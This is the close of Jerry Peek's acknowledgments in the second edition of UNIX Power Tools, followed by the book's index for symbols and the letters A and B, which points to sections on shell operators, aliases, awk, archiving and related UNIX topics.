I'd also like to thank all the readers who took a moment to send us comments and corrections. I read every message, and the ideas in them made a big difference in this second edition. Three peoples' comments were extensive enough to mention specially. Ted Timar spotted problems that showed his deep knowledge of UNIX. I'm glad he still found the book useful enough to read it-and to spot goofs in some of our hairier tips. Andrew T. Young sent two long email messages: one a few years ago and another after I contacted him. He caught plenty of techno-goofs and also sent fixes for them. Andy doesn't know just UNIX: his background in English helped to sharpen a few rough spots in our folksy writing style. Finally, Greg Ubben sent a 15-page (!) email message that took me most of a week to work through. When I tracked him down, three years after writing his message, he was even more helpful. Greg wrote enough to make into a small book-and, in fact, agreed to write a few new articles, too. He's an expert in sed and regular expressions (and UNIX) who taught me a lot in our month of email messages back and forth. I deeply appreciate all that he's given to this book's readers.

- Jerry Peek, jpeek@jpeek.com

Previous: Acknowledgments | UNIX Power Tools | Next: 1. Introduction
Acknowledgments | Book Index | 1. Introduction
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

"batch editing" : 33. Batch Editing
0 (zero) process ID : 38.12. Killing All Your Processes
-1 process ID : 38.12. Killing All Your Processes
1
C shell operator : 47.4.3.1. Assignment Operators
.n filename extension : 1.17. Filename Extensions
8-bit filenames : 23.15. Using unlink to Remove a File with a Strange Name
80cols file
42.6.1. Single Line Screen Width: 80cols
52.4. Quick Descriptions of What's on the Disc
9-track tapes : 20.6. Writing a Tape Drive on a Remote Machine
& (ampersand)
&& : 48.4.3. Automating Your Own Calendar
&& C shell operator : 47.4.3.3. Bitwise and Logical Operators
&& operator : 44.9. Testing Your Success
examples : 44.9. Testing Your Success
&& sequence : 11.9. Running a Series of Commands on a File
&= : 47.4.3.1. Assignment Operators
C shell operator : 47.4.3.3. Bitwise and Logical Operators
on command line : 1.27. How Background Processing Works
at end of commands : 38.3. Managing Processes: Overall Concepts
escaping special characters using : 51.3. ASCII Characters: Listing and Getting Values
as logical operator for expr : 45.28. Quick Reference: expr
precedence in C shell : 47.4.2. Expressions
* (asterisk)
*= C shell operator : 47.4.3.1. Assignment Operators
as arithmetic operator for expr : 45.28. Quick Reference: expr
C shell operator : 47.4.3.2. Arithmetic Operators
examples : 50.6. Searching Online Manual Pages
filename wildcard : 15.2. Filename Wildcards in a Nutshell
in pcal : 48.9. PostScript Calendars with pcal
precedence in C shell : 47.4.2. Expressions
regular expression metacharacter
26.3. Understanding Expressions
26.4.6. Repeating Character Sets with *
as wildcard character : 1.16. Wildcards
@ (at sign) : 9.5. Build Strings with { }
@ commands (csh)
47.4.2. Expressions
47.4.4. Examples
@-functions (vi) : 31.4. vi @-Functions
\ (backslash)
\< \> metacharacters : 26.4.8. Matching Words with \ < and \ >
\( \) metacharacters : 26.4.9. Remembering Patterns with \ (, \ ), and \1
\1, \2, ... metacharacters : 26.4.9. Remembering Patterns with \ (, \ ), and \1
\{ \} metacharacters : 26.4.7. Matching a Specific Number of Sets with \ { and \ }
for avoiding multiline commands : 9.13. Multiline Commands, Secondary Prompts
before newline
8.14.4. Multiline Quoting
8.15.2. How Quoting Works
in C shell scripts : 44.14. Putting awk, sed, etc., Inside Shell Scripts
for escape sequences : 8.6.1. Portability
escaping special characters : 10.3. C Shell Aliases with Command-Line Arguments
placement of : 8.20. How Many Backslashes?
preventing history substitution : 8.5. Command-Line Evaluation
in prompt settings : 7.12. External Commands Send Signals to Set Variables
quoting and : 8.14.2. How Quoting Works
in stty command : 5.9. Setting Your Erase, Kill, and Interrupt Characters
` (backquotes)
command substitution : 9.16. Command Substitution
examples
44.18. Standard Command-Line Parsing
50.3. apropos on Systems Without apropos
for loops combined with : 45.16. Standard Input to a for Loop
nesting : 45.31. Nested Command Substitution
! (bang)
!* variable : 10.3. C Shell Aliases with Command-Line Arguments
!:script : 52.4. Quick Descriptions of What's on the Disc
!= C shell operator : 47.4.3.4. Comparison Operators
!= relational operator : 45.28. Quick Reference: expr
!\* : 50.8. Which Version Am I Using?
automatic temporary files : 9.18.2. Automatic Temporary Files with !
with brackets wildcards : 15.2. Filename Wildcards in a Nutshell
in C shell quoting : 8.15.2. How Quoting Works
C shell operator : 47.4.3.3. Bitwise and Logical Operators
history substitution commands : 11.7. History Substitutions
!:n* sequence
11.4. My Favorite Is !:n*
11.7. History Substitutions
!$ sequence
10.3. C Shell Aliases with Command-Line Arguments
11.3. My Favorite Is !$
11.6. Using !$ for Safety with Wildcards
11.7. History Substitutions
NOT operator
17.1. The find Command Is Great; The Problem Is Finding How to Use It
17.6. Be an Expert on find Search Operators
preceding operators : 5.3. Setting the Terminal Type When You Log In
terms for : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
{ } (braces)
{ cmd } C shell operator : 47.4.3.3. Bitwise and Logical Operators
/{ /} metacharacters : 26.4.11. Extended Regular Expressions
\{ \} metacharacters : 26.4.7. Matching a Specific Number of Sets with \ { and \ }
Bourne shell list operators : 13.8. Using {list} to Group Bourne Shell Commands
building strings : 9.5. Build Strings with { }
in C shell : 47.4.1. Variables
creating new files with : 1.16. Wildcards
filename wildcards
15.2. Filename Wildcards in a Nutshell
15.3. Adding { } Operators to Korn (and Bourne) Shells
find -exec command and : 17.10. Running Commands on What You Find
foreach loop and : 9.11. Repeating a Command with a foreach Loop
in shells : 1.18. Who Handles Wildcards?
with variable names : 6.8. Shell Variables
[ ] (brackets)
[ command
46.4. Stop Syntax Errors in Numeric Tests
46.5. Stop Syntax Errors in String Tests
[ at start of escape sequence : 5.8. Terminal Escape Sequences
fast find and : 17.18. Using "Fast find"
filename wildcards : 15.2. Filename Wildcards in a Nutshell
regular expression metacharacter : 26.4.4. Specifying a Range of Characters with [...]
sc program using : 49.8. It's Great to Have a Spreadsheet
wildcards : 9.4. Use Wildcards to Create Files?
^ (caret)
^[ : (see CTRL key)
^^ sequence : 11.5. My Favorite Is ^^
^= C shell operator : 47.4.3.1. Assignment Operators
^^ sequence : 11.7. History Substitutions
^M : (see CTRL-m character)
C shell operator : 47.4.3.3. Bitwise and Logical Operators
filename wildcard : 15.2. Filename Wildcards in a Nutshell
in control character : 41.11.1. Special Character Codes
regular expression metacharacter : 26.4.1. The Anchor Characters: ^ and $
within [ ] metacharacters : 26.4.5. Exceptions in a Character Set
: (colon)
:p operator : 11.10. Check Your History First with :p
as alternative to # : 45.9. The Unappreciated Bourne Shell ":" Operator
as comment character : 45.9. The Unappreciated Bourne Shell ":" Operator
as parameter substitute : 45.9. The Unappreciated Bourne Shell ":" Operator
colon-separated lists : 4.10. Find All Command Versions with whereiz
examples : 44.18. Standard Command-Line Parsing
if loops using : 45.9. The Unappreciated Bourne Shell ":" Operator
as logical operator for expr
45.28. Quick Reference: expr
45.28.1. Examples
as null character : 44.8. Test Exit Status with the if Statement
as parameter substitute : 45.12. Parameter Substitution
separating fields
1.9. Which Shell Am I Running?
5.6. Checklist: Terminal Hangs When I Log In
separating values : 5.3. Setting the Terminal Type When You Log In
shell script comments : 45.2. The Story of : # #!
string editing operator : 9.6. String Editing (Colon) Operators
trap used with : 45.8. Handling Signals to Child Processes
while loops using : 45.9. The Unappreciated Bourne Shell ":" Operator
, (comma) in filenames : 1.15. Filenames
$ (dollar sign)
$0 parameter : 44.22. Finding a Program Name; Multiple Program Names
$1 command-line arguments
44.11. Set Exit Status of a Shell (Script)
44.12. Trapping Exits Caused by Interrupts
44.15. Handling Command-Line Arguments in Shell Scripts
$* argument : 45.30.1. Matching with expr
$@ argument : 45.30.1. Matching with expr
$! variable : 47.2.5. Variable Syntax
$$ command-line arguments : 44.12. Trapping Exits Caused by Interrupts
$# command-line argument : 44.15.3. Counting Arguments with $#
$< variable : 47.2.1.2. Reading Files
$() command : 45.31. Nested Command Substitution
$? variable : 47.2.1.4. More Elaborate Combinations
$* : 46.7. Quoting and Command-Line Parameters
$@ : 46.7. Quoting and Command-Line Parameters
passing arguments to getopt : 44.18. Standard Command-Line Parsing
$@ argument : 44.15.1. With the $@"
as wildcard : 44.6. Pattern Matching in case Statements
Bourne shell script variable : 44.7. Exit Status of UNIX Processes
in C shells : 47.5. Using C Shell Arrays
quoting and : 8.14.2. How Quoting Works
regular expression metacharacter : 26.4.1. The Anchor Characters: ^ and $
with variable names : 6.8. Shell Variables
$- test : 2.11. Faster ksh and bash Startup with $- Test
. (dot)
. command, subroutines compared to : 44.23. Reading Files with the . and source Commands
. scripts : 44.23. Reading Files with the . and source Commands
.. for parent directory : 18.4.2. Links to a Directory
for current directory : 18.4.2. Links to a Directory
in filenames
1.15. Filenames
1.16. Wildcards
filenames starting with : (see dot files)
in pathnames : 1.21. Making Pathnames
regular expression metacharacter
26.3. Understanding Expressions
26.4.3. Match any Character with . (Dot)
terms for : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
= (equal sign)
== C shell operator : 47.4.3.4. Comparison Operators
=~ C shell operator : 47.4.3.4. Comparison Operators
for alias definitions : 10.4. Aliases in ksh and bash
as arithmetic operator for expr : 45.28.1. Examples
C shell operator : 47.4.3.1. Assignment Operators
as relational operator for expr
45.28. Quick Reference: expr
45.28.1. Examples
# (hash mark)
: (colon) used in place of : 45.9. The Unappreciated Bourne Shell ":" Operator
#!
Bourne shell scripts using : 44.4. Testing How Your System Executes Files
#! notation
8.17. verbose and echo Variables Show Quoting
45.2. The Story of : # #!
45.4. Fun with #!
in Bourne shell scripts : 44.2. Writing a Simple Shell Program
character limit : 45.4. Fun with #!
examples
45.3. Don't Need a Shell for Your Script? Don't Use One
45.4. Fun with #!
executing files without showing : 45.5. A File That Shows Itself... and What #! Does
making programs executable : 45.4. Fun with #!
alternatives to : 45.9. The Unappreciated Bourne Shell ":" Operator
for comments : 10.2.1. Simple Aliases
in crontab entries : 40.12.1. Execution Scheduling
shell script comments : 45.2. The Story of : # #!
- (hyphen)
-= C shell operator : 47.4.3.1. Assignment Operators
-- (two dashes) as argument to set command : 44.19. The Bourne Shell set Command
- as dashes : 44.18. Standard Command-Line Parsing
as arithmetic operator for expr : 45.28. Quick Reference: expr
C shell operator
47.4.3.1. Assignment Operators
47.4.3.2. Arithmetic Operators
command-line arguments starting with
44.16. Handling Command-Line Arguments with a for Loop
44.17. Handling Arguments with while and shift
filenames starting with : 23.14. Handling a Filename Starting with a Dash (-)
with << operator : 8.18. Here Documents
in login shell : 2.16. Approved Shells: Using Unapproved Login Shell
precedence in C shell : 47.4.2. Expressions
for stdin (on command line) : 13.13. The "Filename" -
< (left angle bracket)
<= C shell operator : 47.4.3.4. Comparison Operators
<= relational operator : 45.28. Quick Reference: expr
<< C shell operator : 47.4.3.3. Bitwise and Logical Operators
<< operator
8.18. Here Documents
19.2. Introduction to Shell Archives
<<- operator
8.18. Here Documents
9.14. Using Here Documents for Form Letters, etc.
/< /> metacharacters : 26.4.11. Extended Regular Expressions
\< \> metacharacters : 26.4.8. Matching Words with \ < and \ >
C shell operator : 47.4.3.4. Comparison Operators
examples : 48.4.3. Automating Your Own Calendar
precedence in C shell : 47.4.2. Expressions
as relational operator for expr : 45.28. Quick Reference: expr
( ) (parentheses)
\( \) metacharacters : 26.4.9. Remembering Patterns with \ (, \ ), and \1
in extended regular expressions : 26.4.11. Extended Regular Expressions
grouping expressions using : 47.4.2. Expressions
as operators : 2.2. Shell Setup Files-Which, Where, and Why
subshell operators : 13.7. The () Subshell Operators
% (percent sign)
%= C shell operator : 47.4.3.1. Assignment Operators
as arithmetic operator for expr : 45.28. Quick Reference: expr
C shell operator : 47.4.3.2. Arithmetic Operators
default C shell prompt : 7.1. Why Change Your Prompt?
for job numbers
12.1.1. Foreground and Background
12.3. The "Current Job" Isn't Always What You Expect
precedence in C shell : 47.4.2. Expressions
+ (plus sign)
+= C shell operator : 47.4.3.1. Assignment Operators
as arithmetic operator for expr
45.28. Quick Reference: expr
45.28.1. Examples
C shell operator : 47.4.3.2. Arithmetic Operators
in job reports : 12.1.1. Foreground and Background
precedence in C shell : 47.4.2. Expressions
regular expression metacharacter : 26.4.11. Extended Regular Expressions
? (question mark)
?*) wildcard : 44.6. Pattern Matching in case Statements
?) wildcard : 44.6. Pattern Matching in case Statements
Bourne shell script variable : 44.7. Exit Status of UNIX Processes
examples : 47.5. Using C Shell Arrays
fast find and : 17.18. Using "Fast find"
filename wildcard : 15.2. Filename Wildcards in a Nutshell
foreach loop and : 9.11. Repeating a Command with a foreach Loop
in C shells : 47.5. Using C Shell Arrays
regular expression metacharacter : 26.4.11. Extended Regular Expressions
shell variable : 6.9. Special C Shell Variables
as wildcard character : 1.16. Wildcards
' (single quotes) : 8.14.3. Single Quotes Inside Single Quotes?
around PS1 string : 7.8. Highlighting in Shell Prompts
with bash pre-prompt commands : 7.13. Pre-Prompt Commands in bash
passing wildcards to programs : 1.18. Who Handles Wildcards?
prompt setting and : 7.4. Faster Prompt Setting with Built-Ins
protecting special characters : 10.3. C Shell Aliases with Command-Line Arguments
quoting and
8.14.2. How Quoting Works
8.15. Differences Between Bourne and C Shell Quoting
sc program using : 49.8. It's Great to Have a Spreadsheet
" (double quotes)
aliases in : 10.2.2. Using More Complex Aliases
for comments : 4.9. Setting Up vi with the .exrc File
passing wildcards to programs : 1.18. Who Handles Wildcards?
prompt setting : 7.8. Highlighting in Shell Prompts
quoting and
8.14.2. How Quoting Works
8.15. Differences Between Bourne and C Shell Quoting
sc program using : 49.8. It's Great to Have a Spreadsheet
in sed scripts : 51.6. Cleaning script Files
terms for : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
> (right angle bracket)
>= : 47.4.3.4. Comparison Operators
>& operator : 13.5. Redirection in C Shell: Capture Errors, Too?
>= relational operator
45.28. Quick Reference: expr
45.28.1. Examples
>> C shell operator : 47.4.3.3. Bitwise and Logical Operators
>> for appending files : 45.22. Handling Files Line-by-Line
C shell operator : 47.4.3.4. Comparison Operators
precedence in C shell : 47.4.2. Expressions
redirection operator : 6.9. Special C Shell Variables
as relational operator for expr : 45.28. Quick Reference: expr
; (semicolon)
on command line : 8.5. Command-Line Evaluation
separating commands : 44.12. Trapping Exits Caused by Interrupts
/ (slash)
/*/ wildcard : 44.6. Pattern Matching in case Statements
/{ /} metacharacters : 26.4.11. Extended Regular Expressions
/= C shell operator : 47.4.3.1. Assignment Operators
/< /> metacharacters : 26.4.11. Extended Regular Expressions
as arithmetic operator for expr
45.28. Quick Reference: expr
45.28.1. Examples
C shell operator : 47.4.3.2. Arithmetic Operators
fast find and : 17.18. Using "Fast find"
in filenames
1.15. Filenames
1.16. Wildcards
in pathnames
1.21. Making Pathnames
14.2. Using Relative and Absolute Pathnames
precedence in C shell : 47.4.2. Expressions
for root directory : 1.19. The Tree Structure of the Filesystem
terms for : 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
~ (tilde)
C shell operator : 47.4.3.3. Bitwise and Logical Operators
ending filenames : 14.11. Finding (Anyone's) Home Directory, Quickly
filenames ending with : 17.18. Using "Fast find"
for home directory
7.11. dirs in Your Prompt: Better than $cwd
14.11. Finding (Anyone's) Home Directory, Quickly
in pathnames : 1.21. Making Pathnames
_ (underscore) in filenames : 1.15. Filenames
| (vertical bar)
26.4.11. Extended Regular Expressions
44.7. Exit Status of UNIX Processes
44.18. Standard Command-Line Parsing
(see also pipelines)
|& operator
13.3. Send (only) Standard Error Down a Pipe
13.5. Redirection in C Shell: Capture Errors, Too?
|= C shell operator : 47.4.3.1. Assignment Operators
|| operator
44.8. Test Exit Status with the if Statement
44.9. Testing Your Success
44.18. Standard Command-Line Parsing
46.6. Watch Out for Bourne Shell -e Bug
47.4.3.3. Bitwise and Logical Operators
examples : 44.9. Testing Your Success
inverse of a condition : 44.8. Test Exit Status with the if Statement
C shell operator : 47.4.3.3. Bitwise and Logical Operators
as logical operator for expr : 45.28. Quick Reference: expr
noclobber variable and : 13.6. Safe I/O Redirection with noclobber
pipes : 1.3. Programs Are Designed to Work Together
piping commands : 13.3. Send (only) Standard Error Down a Pipe
precedence in C shell : 47.4.2. Expressions
|| operator : 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

.a filename extension : 1.17. Filename Extensions
abbreviations
Emacs editor : 32.11. Using Word Abbreviation Mode
in pathnames : 1.21. Making Pathnames
vi and ex editors
30.31. vi Word Abbreviation
31.9. Good Stuff for Your .exrc File
absolute pathnames
2.16. Approved Shells: Using Unapproved Login Shell
14.2. Using Relative and Absolute Pathnames
18.6. Stale Symbolic Links
archiving with : 19.6. GNU tar Sampler
in configuration files : 2.6. Use Absolute Pathnames in Shell Setup Files
getting : 4.10. Find All Command Versions with whereiz
on #include line : 52.8.2.7. Functions, Libraries, and Header Files
tar command and : 20.10. Avoid Absolute Paths with tar
access
last file access time : 21.5. What Good Is a File's Last Access Time?
modes for : 4.8. Making Directories Made Easier
permissions
1.23. File Access Permissions
1.25. Access to Directories
read-only : (see read-only files)
times : 16.5. The Three UNIX File Times
accidental file deletion : (see deleting files)
accidental logouts : 3.5. Stop Accidental C Shell Logouts
address databases
created using awk : 48.10. Working with Names and Addresses
index program for creating : 48.11. The index Database Program
address lists, creating : 48.2. Online Phone and Address Lists
addup script
29.6. Counting Lines, Words, and Characters: wc
49.7. Total a Column with addup
52.4. Quick Descriptions of What's on the Disc
awk script : 49.7. Total a Column with addup
examples : 49.7. Total a Column with addup
grep -c : 49.7. Total a Column with addup
lastcomm command : 49.7. Total a Column with addup
sed editor : 49.7. Total a Column with addup
age_files script
16.25. Listing Files by Age and Size
52.4. Quick Descriptions of What's on the Disc
aggregate transfer rate : 39.12.3. The I/O Subsystem
agrep script
27.8. glimpse and agrep
27.9. New greps Are Much Faster
27.14. Compound Searches
52.4. Quick Descriptions of What's on the Disc
aliases
arguments for : 10.3. C Shell Aliases with Command-Line Arguments
for cd command
7.6. Session Information in Your Terminal's Status Line
14.8. Quick cds with Aliases
command file and : 2.5.2. A Second Alias and Command File
for commands
8.8. A Directory for Commands You Shouldn't Run
10.2. Aliases for Common Commands
in .cshrc file : 10.2.3. Setting Aliases Automatically, Unsetting Aliases
examples : 44.21. Picking a Name for a New Command
inside the ($?prompt) test : 2.10. Gotchas in set prompt Test
for ls command
16.7. ls Shortcuts: ll, lf, lg, etc.
16.12. Useful ls Aliases
for pushd command : 14.7. Nice Aliases for pushd
quoting : 10.3. C Shell Aliases with Command-Line Arguments
recursive : 10.6. Avoiding C Shell Alias Loops
setprompt : 7.11. dirs in Your Prompt: Better than $cwd
shell functions and : 10.9. Shell Functions
simulated shell functions and : 10.10. Simulated Bourne Shell Functions and Aliases
for terminals : 41.11. How termcap and terminfo Describe Terminals
with wildcards : 8.9. Wildcards Inside of Aliases
word vectors and : 8.12. Which One Will the C Shell Use?
alphanumeric character)) : 15.5. Matching All "Dot Files" with Wildcards
am capability : 41.11. How termcap and terminfo Describe Terminals
ampersand : (see &)
anchors
26.4. Using Metacharacters in Regular Expressions
26.4.1. The Anchor Characters: ^ and $
angle brackets : (see <, >)
anonymous ftp
8.18. Here Documents
52.7.2.2. FTPMAIL
(see ftp)
append command (ex) : 33.4. Useful ex Commands
apropos command : 50.2. The apropos Command
alternatives to
50.3. apropos on Systems Without apropos
50.6. Searching Online Manual Pages
50.9. Reading a Permuted Index
examples : 50.2. The apropos Command
man -k compared to : 50.2. The apropos Command
support for
50.2. The apropos Command
50.3. apropos on Systems Without apropos
whatis compared to : 50.4. whatis: One-Line Command Summaries
archive file (library) extension : 1.17. Filename Extensions
archives : 19.1. Packing Up and Moving
copying to another directory : 19.9. A System V Tape Archiver: cpio
cpio : 19.9. A System V Tape Archiver: cpio
extracting files from : 19.7. Extracting Files from a Compressed Archive
RCS and SCCS : 20.12. Protecting Files with SCCS or RCS
shell : (see shell archives)
System V archiver : 19.9. A System V Tape Archiver: cpio
tar archives
19.5. Using tar to Create and Unpack Archives
19.6. GNU tar Sampler
20.8. Telling tar Which Files to Exclude or Include
tar utility and : (see tar command)
unarchiving : 19.3. unshar: Unarchive a Shell Archive
arguments
aliases for
10.2.2. Using More Complex Aliases
10.3. C Shell Aliases with Command-Line Arguments
character limit : 50.12. Common UNIX Error Messages
command-line : (see command-line arguments)
filenames in : 8.16. Quoting Handles Special Characters in Filenames
grabbing from previous command lines : 11.4. My Favorite Is !:n*
iterating shell variables over : 46.7. Quoting and Command-Line Parameters
maximum allowable : 9.21. Handle Too-Long Command Lines with xargs
passed to scripts : 1.5. Anyone Can Program the Shell
passing : 46.7. Quoting and Command-Line Parameters
passing to kernel : 45.5. A File That Shows Itself... and What #! Does
for shell variables : 8.14.4. Multiline Quoting
"Arguments too long" error : 9.23. Workaround for "Arguments too long" Error
"arguments too long" error : 50.12. Common UNIX Error Messages
error : 9.20. Too Many Files for the Command Line
arguments, reading : 8.13. Is It "2>&1 file" or "> file 2>&1"? Why?
argv
examples : 47.4.1. Variables
variables set to : 46.7. Quoting and Command-Line Parameters
arithmetic operators : (see operators, arithmetic)
arrays
45.34. Arrays in the Bourne Shell
(see also under specific array names)
advantages : 47.5. Using C Shell Arrays
awk utility and : 33.11.5. Variables and Array Assignments
in Bourne shells : 45.34. Arrays in the Bourne Shell
in C shells : 47.5. Using C Shell Arrays
directory stacks in : 47.5. Using C Shell Arrays
setting : 47.5. Using C Shell Arrays
simulating using eval : 45.34. Arrays in the Bourne Shell
word lists compared to : 47.5. Using C Shell Arrays
arrow keys, mapping in vi : 31.2.2. Text-Input Mode Maps
ASCII characters
decimal conversion : 45.11. The Multipurpose jot Command
in escape sequences : 5.8. Terminal Escape Sequences
getting values : 51.3. ASCII Characters: Listing and Getting Values
listing : 51.3. ASCII Characters: Listing and Getting Values
in shell programs : 1.5. Anyone Can Program the Shell
ASCII file : 51.3. ASCII Characters: Listing and Getting Values
filename extension : 1.17. Filename Extensions
ascii script : 52.4. Quick Descriptions of What's on the Disc
ASCII terminals : 42.1. Making Sense Out of the Terminal Mess
Assembly language code extension : 1.17. Filename Extensions
associative arrays : 16.24. Counting Files by Types
asterisk : (see *)
at command
40.1. Off-Peak Job Submission
40.3. The at Command
-c option : 40.4. Choosing the Shell Run (We Hope) by at
-l option
40.5. Avoiding Other at and cron Jobs
40.9. Checking and Removing Jobs
-r option : 40.9. Checking and Removing Jobs
-s option : 40.4. Choosing the Shell Run (We Hope) by at
at jobs
adding calendar information to : 48.4.3. Automating Your Own Calendar
automatically restarting : 40.8. Automatically Restarting at Jobs
making quiet : 40.7. Making Your at Jobs Quiet
at sign : (see @)
AT variable : 2.10. Gotchas in set prompt Test
atan2 command (awk) : 33.11.7. Alphabetical Summary of Commands
atq command : 40.5. Avoiding Other at and cron Jobs
reporting jobs in queue : 40.9. Checking and Removing Jobs
atrm command : 40.9. Checking and Removing Jobs
automargin capability : 41.11. How termcap and terminfo Describe Terminals
automatic
directory setup : 14.14. Automatic Setup When You Enter/Exit a Directory
file cleanup : 3.4. Automatic File Cleanup
history file (csh) : 11.11.2. C Shell
passwd command use : 9.26.2. Automating /bin/passwd
setting aliases : 10.2.3. Setting Aliases Automatically, Unsetting Aliases
temporary files : 9.18.2. Automatic Temporary Files with !
unique filename generation : 16.16. Picking a Unique Filename Automatically
updating of file printouts : 21.9. Keep File Printouts Up-to-Date Automatically with make
autonice time : 39.11. Changing a Job's Priority Under BSD UNIX
autowrapping terminals : 42.5. Checklist: Screen Size Messed Up?
autowrite : 30.23. Safer vi Filter-Throughs
job control and : 12.4. Job Control and autowrite: Real Time Savers!
averages of command runtimes : 39.4. Average Command Runtimes with runtime
awf text formatter
43.17. Don't Have nroff? Try gnroff or awf
52.4. Quick Descriptions of What's on the Disc
"awk\: bailing out near line #" error message : 50.12. Common UNIX Error Messages
awk utility
16.24. Counting Files by Types
26.4.11. Extended Regular Expressions
33.11. Quick Reference: awk
50.12. Common UNIX Error Messages
(see also nawk)
addup script using : 49.7. Total a Column with addup
advantages/disadvantages : 45.30.2. Using echo with awk, colrm, or cut
array support : 45.34. Arrays in the Bourne Shell
arrays and : 33.11.5. Variables and Array Assignments
centering lines : 35.8. Centering Lines in a File
colrm compared to : 45.30.2. Using echo with awk, colrm, or cut
commands, list of : 33.11.6. Group Listing of awk Commands
cut compared to : 45.30.2. Using echo with awk, colrm, or cut
editing scripts : 1.6. Power Tools for Editing
errors caused by : 46.2. Quoting Trouble? Think, Then Use echo
eval compared to : 44.14. Putting awk, sed, etc., Inside Shell Scripts
examples
44.14. Putting awk, sed, etc., Inside Shell Scripts
46.2. Quoting Trouble? Think, Then Use echo
-f option
45.3. Don't Need a Shell for Your Script? Don't Use One
45.4. Fun with #!
operators : 33.11.4. Operators
patterns : 33.11.2. Patterns and Procedures
procedures : 33.11.2.2. Procedures
script errors : 50.12. Common UNIX Error Messages
searching columns : 27.17. Finding a Character in a Column
straightening columns : 35.22. Straightening Jagged Columns
tbl, nroff as alternatives : 48.12. Using index with a Filter
variables
33.11.3. awk System Variables
33.11.5. Variables and Array Assignments
version history : 33.12. Versions of awk

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

background commands : 3.1. Running Commands When You Log Out
background processes
1.26. What a Multiuser System Can Do for You
3.4. Automatic File Cleanup
12.1.1. Foreground and Background
38.3. Managing Processes: Overall Concepts
automatically killing : 38.17. Automatically Kill Background Processes on Logout in csh
exit status of : 44.7. Exit Status of UNIX Processes
output from : 12.7. Stop Background Output with stty tostop
preventing continuing after logout : 38.12. Killing All Your Processes
watching : 40.2. Waiting a Little While: sleep
backquotes : (see `)
backslash : (see \)
BACKSPACE key : 41.2.2. Handling Most Characters
deleting on command line : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
erase character : 51.6. Cleaning script Files
location for : 2.13. A .cshrc.$HOST File for Per Host Setup
backspacing over shell prompts : 41.5. Why Some Systems Backspace over Prompts
backups : 20.1. tar in a Nutshell
advantages : 20.2. Make Your Own Backups
bkedit script : 52.4. Quick Descriptions of What's on the Disc
of directories : 20.8.1. Including Other Directories
Emacs auto-save, backup files : 32.4. Backup and Auto-Save Files
RCS and SCCS : 20.12. Protecting Files with SCCS or RCS
on remote tape drives : 20.6. Writing a Tape Drive on a Remote Machine
restoring files from : 20.4. Restoring Files from Tape with tar
timestamps and : 20.7. Creating a Timestamp File for Selective Backups
"bad magic number" error message : 50.12. Common UNIX Error Messages
Baldwin, Robert : 22.17. Ways of Improving the Security of crypt
bang : (see !)
banner command : 43.11. Big Letters: banner
banners, printing : 43.11. Big Letters: banner
basename program
45.18. Using basename and dirname
52.4. Quick Descriptions of What's on the Disc
bugs in : 45.18.1. Introduction to basename and dirname
examples
45.13. Save Disk Space and Programming: Multiple Names for a Program
45.18. Using basename and dirname
loops using : 45.18.2. Use with Loops
bash (Bourne-again shell)
1.8. There Are Many Shells
8.2. Introduction to bash
8.17. verbose and echo Variables Show Quoting
52.4. Quick Descriptions of What's on the Disc
(see also sh (Bourne shell))
alias facility : 10.2. Aliases for Common Commands
aliases in : 10.4. Aliases in ksh and bash
.bashrc file : 2.2.4. bash
C shell compared to : 47.1. Why Not?
case statements : 2.12. Automatic Setups for Different Terminals
command history
11.1. The Lessons of History
(see history of command)
echo used in : 46.10. A Portable echo Command
evaluating command line : 8.11. Which One Will bash Use?
fc command : 11.14.2. In ksh and bash: fc
history file : 11.11.1. bash and ksh
octal character strings : 7.8. Highlighting in Shell Prompts
passing command history to : 11.12. Pass History to Another Shell
pre-prompt commands : 7.13. Pre-Prompt Commands in bash
process substitution : 9.18.1. bash Process Substitution
prompt setting
7.4. Faster Prompt Setting with Built-Ins
7.5. Multiline Shell Prompts
7.9. Show Subshell Level with $SHLVL
speeding up : 2.11. Faster ksh and bash Startup with $- Test
string editing in : 9.7. String Editing in ksh and bash
string editing operators : 45.12. Parameter Substitution
bash command : 52.5.3.5. Installing Everything Using the Defaults
batch command
40.1. Off-Peak Job Submission
40.6. System V.4 Batch Queues
batch editing : 33.1. Why Line Editors Aren't Dinosaurs
awk for : (see awk)
diff command : 33.6. Change Many Files by Editing Just One
ex scripting : 33.3. Line Addressing
file size limits : 33.8. Batch Editing Gotcha: Editors Bomb on Big Files
patch program : 33.9. patch: Generalized Updating of Files that Differ
qsubst program : 33.10. Quick Globals from the Command Line with qsubst
sed for : (see sed)
batch execution : 40.6. System V.4 Batch Queues
batch queues : 40.6. System V.4 Batch Queues
baud rate : 41.2.1. How We Made It This Far (Back?)
bc program : 49.1. bc: Simple Math at the Shell Prompt
bdiff command : 28.7. diff for Very Long Files: bdiff
behead script
35.5. Remove Mail/News Headers with behead
52.4. Quick Descriptions of What's on the Disc
Berkeley printing commands : 43.2.2. Berkeley Printing Commands
Berkeley UNIX : 41.2.1. How We Made It This Far (Back?)
bg command : 12.1.1. Foreground and Background
putting jobs in background : 42.2.3. Program Waiting for Input?
